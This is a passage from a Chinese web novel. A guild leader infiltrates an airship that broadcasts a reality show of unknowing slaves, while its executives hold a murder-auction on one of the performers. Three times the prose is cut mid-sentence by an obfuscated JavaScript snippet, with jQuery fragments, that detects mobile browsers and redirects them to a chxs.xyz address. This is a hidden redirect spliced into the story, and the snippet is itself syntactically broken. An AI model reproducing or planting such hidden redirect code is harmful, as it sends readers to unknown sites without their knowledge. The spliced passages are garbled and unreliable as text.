《这种屎黄色的比格最有心机了》
1. 太阳照常升起
厉暝从大平层的卧室中惊醒。
他猛然弹起身体,用尽全力睁开眼睛,眼前一片漆黑,像是死后世界,他不受控制地将视线投向遮光窗帘。
视网膜上残留的图像显现在黑色窗帘上,那是一位全身戴满金饰的女性,厉暝在梦中长久仰视过她的背影。
她是谁?
厉暝怔怔地抬头。
她目光低垂,注视着下方的事物。但她的脊背紧紧挺直,修长的颈部与脊椎连成一条完美的直线,似乎不想让人发现她在向下看。
她在看什么?
厉暝掀开被子冲向窗边,一把拉开窗帘。
在看窗外初升的旭日……吗?
厉暝僵在原地,血液凝固了。
他神经质地攥紧手腕,狠狠掐住手上的皮肉。在他面前,潘德莫的太阳照常升起,一点金黄缀在璀璨的云霞里。
那是尘世间不可多得的美景——但是,一个泛着金属光泽的银色缺角明晃晃嵌在太阳上,仿佛碎裂的显示屏。
.
潘德莫域外的维度乱流里,飞艇世纪号静静伫立在星云中。
银白色的世纪号被隐匿光幕覆盖,光幕内部嵌刻光质转换矩阵,它能精准模拟光谱特征,实时调整光线,把世纪号伪装成地表人眼中的太阳或月亮,厉暝看见的太阳无疑就是这艘飞艇。
飞艇表层,年轻的巡逻员慌张按住钉状耳麦:“呼叫总台!呼叫总台!隐匿光幕——”
一只红色爪子捂住巡逻员的嘴,蓄能完毕的脉冲枪抵在腰间。
是兽人!巡逻员感到阵阵恐惧与恶心,低贱的兽人奴隶!
“隐匿光幕怎么了?”耳麦里传来总台管理员懒洋洋的声音,巡逻员腰间的脉冲枪倏然抵紧。
巡逻员一动不动,只敢微微抬起眼珠向上看,捂住嘴的爪子立刻掐住双颊,阻止他的小动作。
“别乱看,别说话!”雌性狐族兽人低声警告,她高大的体型极具威慑力。
一道不急不缓的女声从压力舱的方向传来:“放开他,灵真。”
巡逻员微微打了个哆嗦,他完全没发现兽人还有同伙。
名为灵真的狐族兽人条件反射地遵从命令,又后悔般举起脉冲枪。
灵真压低声音:“会长,耳麦里和他通话的是——”
“我知道。”会长的声音饱含笑意,语气堪称温柔,但不容置疑地把灵真的话打断了。
她带着这份温柔与不容置疑命令巡逻员:“关于光幕,耳麦问什么你答什么,说真话。”
灵真的绿色竖瞳骤然缩紧,她不理解会长的命令。她们干扰光幕是为了潜入世纪号,放任巡逻员说真话肯定会暴露她们的存在。
总台管理员不耐烦地问:“说话啊!光幕怎么了?”
“光幕闪了一下!”巡逻员脱口而出。
“闪了一下?”耳麦里的男人古怪地重复,灵真握紧脉冲枪,随时准备战斗。
紧接着,男人大笑起来:“哈哈哈哈,从月亮变成太阳当然要闪一下!你行不行啊?到底干得了吗?”
“我、我刚转岗……”
“能干就干,不能干就滚去潘德莫做演员!别有事没事呼叫总台!”
通讯被挂断了。
“转岗?”那位会长似乎很在意,“你以前做什么的?”
“我我我……以前做节目策划,后来我负责的演员在线观看率大跌,我被迫转到安保部。”巡逻员涨红了脸,边解释边试图转身。
灵真冷笑:“谁让你动了?”
巡逻员不敢动。
世纪号飞艇是世纪互娱的根据地,它是一个巨大的播控中心,八百多名员工在飞艇上夜以继日地工作,直播一档名为“潘德莫真人秀”的24小时综艺节目。
真人秀的演员是潘德莫内生活的一万非自由民——也就是奴隶。
当然,他们不知道自己是奴隶,也不知道潘德莫只是一个超小型维度,外面还有广袤的天地。
他们更不知道自己的人生是一场盛大又可悲的真人秀,遍布潘德莫的隐形摄像机实时直播他们的一举一动。
作为播控中心的飞艇伪装成太阳悬挂在潘德莫上空,飞艇里的员工远程操控一切,为公司创始人厉暝创造财富。
而巡逻员正是八百名员工之一,他继续结结巴巴地说:“不、不光是观看率的问题,我曾举报过策划部一组的组长,但检举无效,被排挤出了策划部。”
“你叫什么名字?”会长问。
“李敬。”
会长沉吟片刻:“灵真,放下枪,让他转过来。”
李敬紧张地转身,终于见到会长的真容。
是通缉令上的人!李敬全身寒毛竖起。
李敬面前的这位,是自由冒险者协会的会长,通缉令上的名字叫朝暮——狗都知道这是假名,但不会有人对她的真名感兴趣,或者说不敢有兴趣。
冒险者是一群臭名昭著的混蛋,他们蔑视皇室,自称为了梦想组团流浪,实际在维度乱流中扮演强盗一般的角色。他们毕生的梦想是发掘一个全新的安全的维度,靠新维度成为一方豪强。
从外人的角度看,朝暮已经实现梦想。一年前她结束漂泊,带领自由冒险者协会开垦并占据一个灵异维度。她四处抢夺奴隶拉回自己的维度,管这叫解放奴隶。
朝暮抱着长刀靠在压力舱的大门上,她饶有兴趣地打量李敬,似乎在等待什么。
李敬呆呆地看着面前的通缉犯,朝暮和她的通缉令简直是两个人。不是通缉令拍得不好,而是拍得太好了。
那张通缉令是从上向下俯拍的,军用探照灯打在她身上,清晰地照出沐浴在鲜血中的脸庞。她斜扛着出鞘的长刀,用身躯和雪亮如水的刀光隔绝了后方的火海。
照片中的她直视镜头,伸手抓住额前的黑色碎发,混着血液拢回脑后。即便是掀起眼珠向上看的动作也没有露出下眼白,因为她的瞳仁非常大、非常亮,那是一种刺目的金色,简直比探照灯耀眼的光还要明亮。
任何人看见那刺目的金色,都会先忘记她的长相,再忘记血迹与火光,视野里只剩下她的眼睛。
李敬完全控制不住自己的思绪,他大胆打量面前这位通缉犯,探究般注视她的眼睛。
直到他的后脑被红色爪子狠狠拍了一巴掌,灵真说:“给我一个不杀你的理由。”
李敬回过神迅速表忠心:“我很熟悉世纪号,我有办公区的准入权限,我可以带路!”
朝暮站直身体:“你知道怎么进入潘德莫吗?”
“啊?”李敬的脑子一片空白,他傻兮兮地问,“为什么要去下面?是有您喜欢的演员?”
这个问题傻到灵真忍不住闭上眼睛,朝暮若有所思:“你以前到底是什么职位?”
“我我我我……是策划部七组的组员。”
“看着不像,更像喜剧演员。”朝暮诚恳地说。
李
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929911|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敬快哭了,朝暮决定换个问题:“厉暝在哪?”
“不知道……但是!”话音未落,李敬被嗡鸣的脉冲枪抵住头颅。
灵真怒道:“问什么都不知道!留着你有什么用?”
朝暮平静极了:“但是什么?”
李敬哭出声,他哽咽着说:“但是今天举行真人秀第34期开幕式,厉总会亲自在潘德莫录开场词。”
“什么时候录?”
“开完会吧。”
十分钟后,阶梯会议室上方的通风管道内。
“这么重要的会厉暝不来现场?”朝暮顺着百叶窗的缝隙看见会议桌第一排正中间厉暝的投影。
“厉总很少来,总是远程参加会议,他本人可能在潘德莫准备录制。”
李敬和举着隐身符的灵真贴在一起,他这辈子都没摸过修真维度的符纸,只在网上见过。
下方会议室的大屏幕前站着一位穿宝蓝色西装的青年女性,李敬说:“她就是策划部一组的组长,张涵薇。”
张涵薇在慷慨激昂地做上一期的总结,或者说向厉总邀功:
“随着节目一期又一期播出,观众的阈值越来越高,普通人的生活无法满足他们。”
屏幕上播放一对甜蜜的情侣。
“美女帅哥谈恋爱?不,观众看腻了!我们策划组给浪漫的爱情加入出轨、性/暴/力和血/腥/元素,并用精神控制的方法阻止他们分手,观看率直线飙升。”
几组不堪入目的照片出现在屏幕上,甜蜜的情侣变得扭曲恐怖,他们裸/露的照片和观看率统计图混在一起,张涵薇仿佛在骄傲地介绍一款畅销豆奶。
厉暝的投影点头:“不错,观看率第二,把你手下那个女明星处理了,下一期专心做这个。”
张涵薇不可察觉地一僵,她立刻堆起笑容,切换下一张照片,一位光彩照人的女明星出现在屏幕上。
“章语,33期以来从未跌出首页的大明星,著名的养成类样本,观众眼中的亲女儿,从出道至今,无数人隔着屏幕陪伴——”
厉暝打断张涵薇:“就是她,处理掉。从观看率第一跌到首页末尾,没用了。”
“厉总。”张涵薇恳切地说,“她是我下一期内容中的重要角色,我将安排她插足情侣间的恋爱,引导她的粉丝和普通观众发生冲突……”
通风管道中,朝暮直接问:“你当初举报张涵薇什么?”
李敬回答:“举报她私自联系演员。”
真人秀的看点在于真人,观众想从奴隶身上获得一种隐秘的高高在上的快乐。如果张涵薇把一切真相私自透露给演员,演员为了不被“处理”,肯定会卖力地表演,出现一些失真甚至穿帮的行为。
所以世纪号上负责播控的部门和负责维持潘德莫运转的部门是两个完全不同的体系,管理层生怕他们互相串连,合伙欺瞒上层。
“她联系的是章语吗?”
“我不知道。”李敬老老实实说,旁边蜷缩成红色球状物的灵真狠狠瞪他。
会议室内,张涵薇顶着众人的目光,坚定地把工作计划汇报完了,她只得到厉暝的四个字:
“没有必要。”
张涵薇的脸色控制不住地发白,会议室后排传来一个戏谑的女声:“张组长,你为什么那么在意一个奴隶的死活?”
所有人都扭头向后看,策划部第十组的组长慢悠悠站起来:“还是说,章语掌握着你的什么秘密?”
2. 找个班上吧
“那是谢华宁,十组组长,本期观看率第一是她一手策划的。”李敬已然忘记自己正被通缉犯挟持,他趴在百叶窗边津津有味地欣赏两位组长互相倾轧。
张涵薇冷硬反问:“秘密?谢组长您的秘密不是更多吗?您手底下那位第一连观众都怀疑是剧本!”
“可以了!”厉暝的投影低声呵斥,“谢华宁,汇报。”
张涵薇面朝厉暝的方向微微躬身,她踩着高跟鞋走下讲台,与谢华宁擦肩而过。
谢华宁微微一笑:
“真人秀播些情情爱爱,早就不新鲜了。”
“观众想看的,是平时看不到的,难以用语言形容的奇葩恶人。”
谢华宁的脸上浮现出一种病态的欣喜,她语调亢奋:“我们将她发掘出来,不做任何干预,只播出她的日常生活。她让观众又气又怕,观众既想立刻关掉直播,又忍不住不停地看下去,她就是本期的观看率第一!”
会议室顶部的灯从后排一盏盏熄灭,传说中的第一出现在大屏幕上。
朝暮不由得挑了挑眉:“是她啊。”
李敬很意外,他以为像朝暮这样的人绝对不会看真人秀直播。
朝暮平淡地说:“最近很多人被她气到生病,给我们维度的医院创收了。”
视频播到一半,底下不少人坐立不安,近距离观看自恋型人格障碍症患者令人极其痛苦,更何况剪辑出来的全是精华内容。
紧接着播放的是观看率和商业数据汇总,谢华宁滔滔不绝地讲述这位第一的商业价值。
灵真看得意犹未尽:“太气人了,太讨厌了!世界上怎么会有这么恶心的人?”
“绝对没剧本,谢华宁也没私联她。”李敬不错眼珠盯着屏幕,“剧本是有逻辑的,她的行为毫无逻辑,任何编剧都写不出来。”
两个人情绪激动,朝暮却说:“很讨人厌,也挺没意思的。”
李敬愕然转头看她。
朝暮垂眼看着屏幕:“她既不上班也不上学,缺少社会化关系,世界里只有丈夫与儿女。真人秀把她在亲密关系中最丑恶的一面暴露在众人面前,让所有人来评判她,犹如观察动物园里的动物。”
李敬不服气:“但是她太奇葩了,这种人如果出来找工作,谁愿意雇佣她?”
“我。”朝暮的语气近乎愉悦,“我来给她找个班上,她很适合催账,去折磨那些欠我钱的人。”
李敬目瞪口呆:“可她是个潘德莫的奴隶,她甚至不知道自己是奴隶……”
他的话语戛然而止。
他突然反应过来,面前的这位身价和厉暝相等,她拥有一整个灵异维度和依托维度而生的产业,她说的绝对不是玩笑话。
李敬还是喃喃地说:“可她是个奴隶……”
“张涵薇通过什么方式私联演员?”
脉冲枪再一次抵住李敬的头颅,李敬赶紧回答:“运输飞船!来往于世纪号和潘德莫的运输飞船!张涵薇在上面私藏信件!”
“很好,我去搭个顺风车。”朝暮简短地说,“带路。”
正当三个人准备离开通风管道时,下方会议室中的谢华宁话锋一转:
“……但是,这些商业价值都比不上她另外的价值。”
朝暮的脚步顿住了,她安静抱着刀,微微侧过头,用晦暗不明的眼神隔空望向厉暝。
阴暗封闭的环境中,隐身符散发微弱的光,莹蓝色的光只能照亮她颧骨以下的脸庞,照不亮她的上半张脸。
谢华宁激动到声音发颤:
“在厉总的指导下,我们小组开辟了另外的市场,潘德莫竞标杀人市场!”
“进入市场需在直播间达到一定的VIP等级,由管理员验证观看时长和累计打赏金额,验资完毕后,市场部有专人负责派送硬件设施。”
谢华宁微笑着接过下属递来的阴木匣子,她郑重揭开匣子上的破旧红布,缓缓打开盖子,露出里面的内容物。
那是一个黑发黑眼的少女的人头,它面容姣好神情恬静,启唇轻轻唱出一个音符:“la——”
“这就是我们给优质客户提供的硬件!来自灵异维度的通讯器——匣中之女!”
一句话在会议室内掀起轩然大波。
灵异维度是所有维度中最神秘、最无法控制、最无解的,科技维度的机器容易被截取信号;修真维度的传音符容易被高修为者窃听,只有灵异维度的通讯设施是最安全的,同时也是最昂贵的。
张涵薇在座位上大声议论:“简直胡闹!灵异物品十多万一件,她哪来的预算?”
匣中之女这样的灵异物品一旦离开灵异维度,便不可复制也不可再生。即使功能只是简单通讯,它的价值也很高。
朝暮突然问:“你们公司发现新维度了?”
李敬一脸茫然。
发没发现新维度不是他一个底层巡逻员能知道的,但匣中之女的产出地绝对在厉暝手里,否则他不会允许昂贵的灵异物品被批量投放给客户。这足以证明厉暝发掘了新维度,并开始从中摄取利益。
下方的谢华宁双手捧起匣中之女:“竞标杀人市场只面向高端优质客户开放,普通客户无权得知任何市场讯息。”
普通客户的快乐建立在潘德莫奴隶的痛苦之上,而普通客户和他们那可悲的快乐都只是高端客户游戏中的一部分。
“规则很简单,我将标的物的名字传递给客户,开启第一轮竞标。报价最高的前三名提供杀人方案、死亡方式和尸体处理法,该方案同步传达给每一个拥有匣中之女的客户,开启第二轮加码。”
“在第二轮中,所有第一轮竞标失败的客户都可以用金钱为自己喜欢的方案投上宝贵的一票。交易通过真人秀直播间进行,以打赏的方式直接入账,省去后续洗/钱环节,为财务部的同事减负。”
整个会议室鸦雀无声,不知不觉间,前排多出几个面部模糊的投影,他们或坐或立,都在远程参加会议。
不,这不是会议。朝暮心里一沉,她明白厉暝想做什么了。
厉暝的投影站起身,向各位刚出现的投影颔首示意,他的声音宛如某种弦类乐器:“欢迎各位观看第一次竞标。”
“标的物:潘德莫真人秀第33期的观看率第一,底价……”
他停顿一下,优雅地摊开双手,带着模糊的笑意宣布:“十万元。”
十万,匣中之女的成本价。
与此同时,直播间切断直播,换成刚刚在会议室播放的精彩内容汇总。
一串串弹幕飞驰而过:
【怎么切屏了?吵架吵到一半。】
【是信号的问题?世纪互娱还行不行?】
【你别说,你还真别说,把她的言论剪一起看更气人了。】
匣中之女恬静的神情突然被打破,面目狰狞得如鬼怪一般。
它大张着嘴巴,嘴两侧的皮肉发出锦帛撕裂之声,顺着裂痕可以窥见洁白整齐的牙齿。它的脖子猛地伸长,吐出的却是甜美清澈的歌声,像是春天的夜莺:
“客户β52I140,报价1000万。”
开价是底价的100倍!
朝暮金色的眼睛中闪过一丝冷意:“厉暝,好多年不见,真是一点没变。”
她语气友善,如同和老朋友打招呼,但声音很轻很冷,好像压抑住的活火山。
从看见那些面目模糊的投影开始,她就意识到厉暝想做什么。
厉暝要把这场公司内部的会议变成血淋淋的竞标,再变成他自己的秀场。
为此,他请来数个大股东、投资人与合作商,这些人身份暧昧到无法以真面目示人。
匣中之女歌唱:“客户γ74359P,报价2300万。”
朝暮意义不明地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929912|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑了一声:“报价比我的悬赏金高。”
李敬打了个哆嗦,他不明白朝暮为什么拿自己和一个奴隶比,他讷讷地重复:“可她是个奴隶……”
“人类不应该拿同类的生命作为玩乐工具。”朝暮简短解释,不管李敬听没听懂。
她背对灵真抬了抬手:“去吧。”
这是让灵真带着李敬先去准备运输飞船,灵真小声问:“那您呢?”
朝暮头也不回:“我在这里看厉暝表演。”
她的视线扫过那些面目模糊的股东和投资商们,开玩笑般说:“虽然厉暝没邀请我,但我本该是他们中的一员。”
竞标迅速进行到第二轮,匣中之女撕裂的嘴巴机械地开合,轻快的声音如同在歌唱童谣,报价频率快到谢华宁几乎握不住头颅。
“2900万!”
“3000万!”
“3200万!”
……
尖锐甜腻的女声节奏越来越快,快到让人生理不适,那声音突然停顿片刻,然后唱道:
“客户β52I140,追加5400万,该方案总价1亿。”
会议室瞬间被按下暂停键,所有人的话语哽在喉咙里,所有人的动作凝固在坚冰中。
匣中之女也安静下来,参与竞标的人都被这疯狂的加价吓到了。
谢华宁被组员匆忙提醒才反应过来,她声音发抖:“进入6秒竞拍倒计时!”
“6,5,4,3,2——”
“客户β52I140,追加2000万,该方案总价1亿2000万。”
会议室刹那间解冻,拍桌子声、喊声和窃窃私语声混在一起,无人理解β52I140为什么继续加价,明明已经竞标成功。
张涵薇站起来喊:“你看清楚了!是β52I140吗?”
“……是、是,肯定是,匣中之女不会出错。”谢华宁绷紧肌肉抑制骨骼间的颤栗。
厉暝十指交握,看不出喜怒。他盯着匣中之女的眼睛,似乎想透过眼睛看清什么。
沉默片刻,他说:“让我们来听听价值1亿2000万的杀人方案。”
谢华宁把头颅轻轻放在红色的软垫上。
“喂,喂?听得到吗?”匣中之女用害羞的神态复述客户β52I140的话语。
“追加2000万是为了在死亡名单上加一个人。”匣中之女更害羞了,“说起来挺不好意思的,我其实是章语的粉丝。”
章语,一组组长张涵薇手下的大明星。
“不过现在不是了。”匣中之女神情犹豫,仿佛思考很久才下定决心。
“喜欢过的东西不感兴趣了就必须扔掉,这样她最好的样子才能永远保存在我的回忆中。”
“所以,让章语去死吧,将她和那个观看率第一的人生互换,让章语作为一个万人嫌的女人在所有人面前被杀死。”
匣中之女略微低下头,脸上浮现出一抹害羞的红晕。
“而观看率第一将顶着章语的壳子,用她的长相做出不得体的事情,说出恶毒的语言,把章语经营多年的公众形象彻底毁掉。”
“把章语先从心理和生理上杀死,在她死后从社会层面再杀一次,算是优秀的杀人方案吗?”
全场寂静。
“咚——”
一声巨响打破寂静,众人忍不住回头看,原来是张涵薇仓促站起身带翻了桌子。
张涵薇尴尬赔笑,捂着腿连滚带爬地走了。
“啪、啪、啪”厉暝带头鼓掌。
他微笑称赞:“完美的杀人方案!”
众人如梦初醒般跟着一起鼓掌,他们立刻行动起来,争分夺秒实施杀人方案。
通风管道里,抱着长刀的朝暮凝望张涵薇落荒而逃的背影,慢吞吞抬手摸了摸颈侧的皮肤。
然后她转身走进黑暗中。
3. 我是狗
潘德莫的大平层里,厉暝合拢窗帘,强迫自己放空思绪。
如此静止十秒,趁着思维一片空白,没有存在能察觉他的想法,他的想法也无法干涉外界,厉暝刷拉一声再次拉开窗帘。
一轮圆圆的太阳完美地挂在天空,没有缺角,也没有银白金属,刚才的一切仿佛是错觉。
果然,只要我的动作够快,脑子够慢,诡异事件就追不上我。厉暝自信地想。
温暖的晨光中,他打开衣柜,里面挂着一身和昨天一模一样的衣服,他知道明天的衣服也会一模一样。
吃完早饭,厉暝提着空无一物的公文包去公司打卡,他一直不明白,为什么自己明明是总裁,每天还要无意义地打卡。
但记忆里的厉暝必须这么做,所以他也坚持这么做。
说起来可能没人相信,厉暝一直觉得自己根本不是厉暝,他是个假厉暝。更直白地说,世界是假的,而且他有充分的证据证明。
比如现在。
厉暝猛然停住脚步,转身回头。
在他身后,一个颤颤巍巍的老太太被他吓得后退几步,然后若无其事地走向垃圾桶,掏出纸巾擤鼻涕。
不,不是若无其事地走过去,而是她的身体被转向垃圾桶,就像一个被人用手柄操控的角色,或是被恶灵附身的人类。
厉暝在马路中央站定,盯着老太太擤完鼻涕,目送她拄着拐杖走远。他竖起耳朵,隐约听见机器细密的滋滋声,像是摄像头在转动。
他神经质地搓揉手腕,安慰自己:事情不一定那么糟糕,老太太可能在玩什么古怪的游戏,比如前段时间流行的“挑战跟踪一条狗”活动。
没错,厉暝不觉得自己是人,他觉得自己是条狗。对此,他有充分的证据证明。
比如他观看“挑战跟踪一条狗”的视频,视频中,被跟踪的流浪狗夹着尾巴,迅速倒腾四条短腿,不断尴尬地舔鼻子,一步三回头地看向跟踪自己的人类。
视频配乐紧张又恐怖,那条狗最后一头撞到柱子上,跟踪狗的人忍不住笑出声,弹幕里的观众也哈哈大笑。
厉暝不觉得好笑,他感受到的是恐惧,类似于恐怖片中人类被鬼追逐的恐惧,还有些许的期待。
像观众期待恐怖片女主大开金手指反杀鬼怪或被帅气的男主英雄救美一样,厉暝期待那条狗转身咬人一口,或者狗的主人突然出现,把狗抱在怀里,将拍视频的人狠狠骂一顿。
然而这些都没发生,那条狗没有主人,也不敢咬人。拍视频的人忍不住笑出声后,狗似乎明白它只是个供人取乐的工具,人不是真想伤害狗。它幽怨地看人一眼,夹着尾巴晕头转向地跑了。
惶惶如丧家之犬,就像厉暝他自己。
不过我比它好点。厉暝愉快地想。
他隔着衬衫偷偷摸了摸自己的腹肌,再低头欣赏两条长腿,暗暗绷紧肌肉把西装裤撑得鼓囊囊。
我至少跑得比它快。厉暝得意极了。
他用三秒钟把自己哄好,又有力气招猫逗狗,他对着垃圾桶旁的巴哥犬喊:“嘿,胖子!”
巴哥犬不屑地瞪他一眼,翻出三分之一的眼白,它抬腿作势要尿在厉暝锃光瓦亮的皮鞋上。
厉暝吓得跳起来,巴哥犬从鼻腔中吭哧喷气,扭着屁股哒哒哒地走掉了。
.
朝暮来到世纪号的摆渡港时,自由冒险者协会的人已经被灵真接应到飞艇上。
一只狼族兽人动了动耳朵,分辨出朝暮的脚步声,他激动大喊:“是会长,会长来了!”
“会长!”
“准备好了,随时可以出发!”
所有人都抬头看向朝暮并笑着问好,但没人停下手头的工作。
几只体型庞大的兽人齐齐侧身避让,给朝暮让出一条通路。朝暮一眼看见灵真火红的皮毛,和被她按住跪在地上的红头发男人。
男人的两只手被拷在背后,红毛桀骜不驯地支在头顶。他突然发力,鼓起背部肌肉,硬顶着灵真踩在背上的脚撑起身体。
他紧紧咬着牙齿,努力直视朝暮的眼睛:“你终于来了……”
类似于野兽的呼噜声一同从他的牙关中传来,灵真一脚剁在他背上,厉声呵斥:“谁让你抬头!”
头骨与飞艇的合金层相撞,发出一声巨响。他的侧脸紧紧贴着地面,由下向上贪婪地注视朝暮,血液顺着发缝流进他的眼睛,但他没有眨眼,他不舍得眨眼。
朝暮在他正前方的矮箱上随意坐下,她岔开两条腿,双肘支在膝盖上,微微垂下视线打量男人。
“6年。”红发男人艰难地说,他的侧脸被压到变形,声音只能从唇缝中挤出来。
朝暮抬抬下巴,示意灵真把脚放下,让男人跪直好好说话。
“……距离你抛下我,整整6年了。”
朝暮一脸茫然。
“这是谁?”她问灵真。
男人的脸扭曲了,灵真的脸也扭曲了,灵真深吸一口气:“是我弟弟灵奇,和李敬通话的总台管理员就是他,他整成这个鬼样子,我刚见到都不敢认。”
朝暮恍然大悟。
灵奇扭曲的神色中带着一丝快意:“别用那个名字喊我!我改名叫林奇了!”
“你以为整容成人类的样子,再改个破名字,就没人知道你是兽人?”灵真快气疯了,“而且兽人有什么不好?你这数典忘祖的东西!”
朝暮点点头,不知道是在赞同灵真的话,还是坦然接受灵奇的新名字。
她维持着原先的姿势,双腿远远岔开,手肘支在膝盖上,长刀斜靠在锁骨旁,这个姿势就像坐在玄关随时准备换拖鞋进家吃饭。
一股邪火窜上灵奇的心头,他不明白朝暮为什么那么淡然,发现他整容,听说他改名,察觉他放弃作为兽人的一切,朝暮本该……
本该怎么样?
灵奇不知道,他不知道自己在期盼什么,他甚至不知道自己为什么愤怒,兽类的本能控制住他,他只顾着阴恻恻地发泄怒火:
“你知道我为什么改名吗?”
朝暮静静看他。
“因为兽人的名字太恶心了。”恶心两个字从舌根涌向舌尖,舌尖从上颚点到下颌,灵奇感到无限的快意与些微的痛楚。
他紧紧盯着朝暮的眼睛,如老式机枪般吐露恶意:“灵奇.赤红,怎么会有这么恶心的名字?为什么兽人要用身体特征做姓氏?只有兽人这种低智种族才会——呜啊!”
灵奇的惨叫与皮革击打血肉的噗嗤声一同响起,朝暮慢慢放下腿,刚才她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929913|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一脚抽向灵奇的脸,白色战靴上溅满新鲜血液。
“呸。”灵奇把牙齿碎渣吐出去,他心中隐秘的期盼似乎突然被满足,整个人平静下来。
“改名字无所谓,整容也可以,但是不要骂人。”朝暮说,“姓赤红的不止你一个,你姐姐和你妈妈都姓赤红。”
朝暮重复:“不要骂她们。”
灵奇怔住了。
他顶着肿胀的侧脸想再说些什么,朝暮的视线却从灵奇身上移开,望向远方被她的副手带来的人。
“白团长。”朝暮礼貌打招呼,还是没有站起来。
那是一个高大疲惫的男人,他微微躬背,懒散地将手插在口袋里,眼下的黑眼圈浓到让人怀疑化了烟熏妆,下巴上的胡渣看着扎手。
幸亏头发被他用发胶随便抓了两下,否则他看上去和流浪汉没有任何区别。
没人能靠外表猜到他的身份——驻R037维度防卫军军团长,白良。
R037维度是距潘德莫最近的驻军维度,该维度直隶于皇室,是一个中型农业维度,常住人口1300万,驻军1万名。
白良作为整支军团的团长,应该安稳地在军营操练下属,而不是独自来到世纪号上。
是的,他是独自来的,没穿军装没带下属,偷偷开着飞船潜入世纪号。
朝暮一动不动,等他走到近前。
“厉暝的飞艇和筛子一样,我轻轻松松就进来了。”白良简直像在没话找话。
“那是因为灵真控制住整个摆渡港,连飞艇上的总台管理员都被她抓住。”朝暮笑着回答。
白良也干笑:“哈哈,灵真,聪明又能干。”
他紧接着想说点什么,却被朝暮自然截住尚未出口的话:“等很久了吧。”
一旁的塞拉说:“白团长很早就到了。”
朝暮向塞拉点点头,假装责怪自己的副手:“怎么让白团长等这么久?去给团长拿烟。”
作为智械体的塞拉飞速运转情感矩阵模块,费力分析出会长的言外之意:给白良拿钱,让他立刻走人。
白良的脸色变了,他神情复杂,单手推掉鼓囊囊的烟盒,不用看也知道里面塞着大额不记名支票。
和他的手一起向下压的还有他的声音:“你知道我来找你不是为了这个。”
“是因为我平时给的不少吗?”朝暮挑了挑眉。
“我——”白良挫败地叹气,有些狼狈地向身后的人挥了挥手。
灵真和塞拉压着灵奇走远,给他们二人留下一片空地。
白良知道,朝暮不喜欢他这样站着,因为朝暮习惯保持头部不动,垂下视线看人。现在二人一站一坐,朝暮只能微微抬头看他,从他的角度看去和通缉令倒是有一点微妙的相似之处。
他在朝暮身边坐下,点燃一支烟:“你知道我是来做什么的,你不想听我说,但我必须说。”
“我能理解你的仇恨,我不是要阻止你复仇,我从来不会挡住你的去路。我接下来要说的话,不是为了你将要手刃的仇人厉暝,而是为了那些潘德莫的奴隶。”
烟雾弥漫在二人之间,白良撑起眼皮,睁开灰翳的眸子,隔着烟看不清他的神色。
“你确定那些奴隶想离开潘德莫吗?”
4. 让它播
当然不想,没有奴隶愿意离开乌托邦一样的潘德莫。
高档别墅布满灰尘的阁楼中,朝暮松开手里的章语,托着胳膊扶她站直。十分钟前,朝暮独自藏进张涵薇用来私联演员的运输飞船,顺利进入潘德莫,一下飞船就遇见鬼鬼祟祟的章语。
“你是我——张组长派来的吗?”章语快被她吓哭了。
张涵薇私联的演员果然是章语。朝暮问:“为什么觉得我是张涵薇派来的?”
“你穿得和我们不一样。”
确实如此,潘德莫的科技发展被限制,城市内没有跨时代的科技产品,整体风格是时尚轻奢的都市风。所有企业都严格遵循8小时工作制,所有奴隶都有漂亮干净的住房,以便他们保持体力与精力,上演工作和生存之外的剧情。
裹着白色风衣手拿长刀的朝暮在潘德莫居民眼里像从片场走进现实的未来战士。
章语小心翼翼问:“是新剧本吗?需要我做什么?”
“没有剧本,我是来杀人的。”
章语哆嗦一下,她瞬间站直,积极发问:“我可以帮忙!我能有一些镜头吗?”
“你会有镜头的。”朝暮的手向刀柄伸去,“杀你的人已经到了。”
“什——”
“呛啷!”
章语的尖叫被锁在喉咙里,她根本没看清发生什么,只听见长刀出鞘的声音。不,那不是出鞘,而是收刀入鞘的声音,刀刃带着鲜血收回鞘中。
一颗覆着面具的头颅滚落在地,失去头颅的身体高举脉冲枪对准章语,差一寸就能扣下扳机。
上一秒,章语以为面前的女人是来杀自己的;下一秒,她被对方救了一命。
“是油画面具。”朝暮捡起面具塞章语手里,“能让你短时间内改变外貌。”
“为为为为什么要杀我?”章语牙关战栗。
“你的粉丝用1亿2000万买你的命。”
出乎朝暮的意料,章语听见天价数字后竟然不哆嗦了,她甚至松了口气:“呼,好多钱,奖金不少吧,我死得真值。”
“想什么呢?1亿是别人,2000万才是你,奖金更和你没关系。”
章语僵住了,朝暮安慰她:“但是我来了,你们不会死。现在告诉我,厉暝在哪?”
“厉暝?”章语茫然重复。
“换个问题,潘德莫的电视塔在哪?”
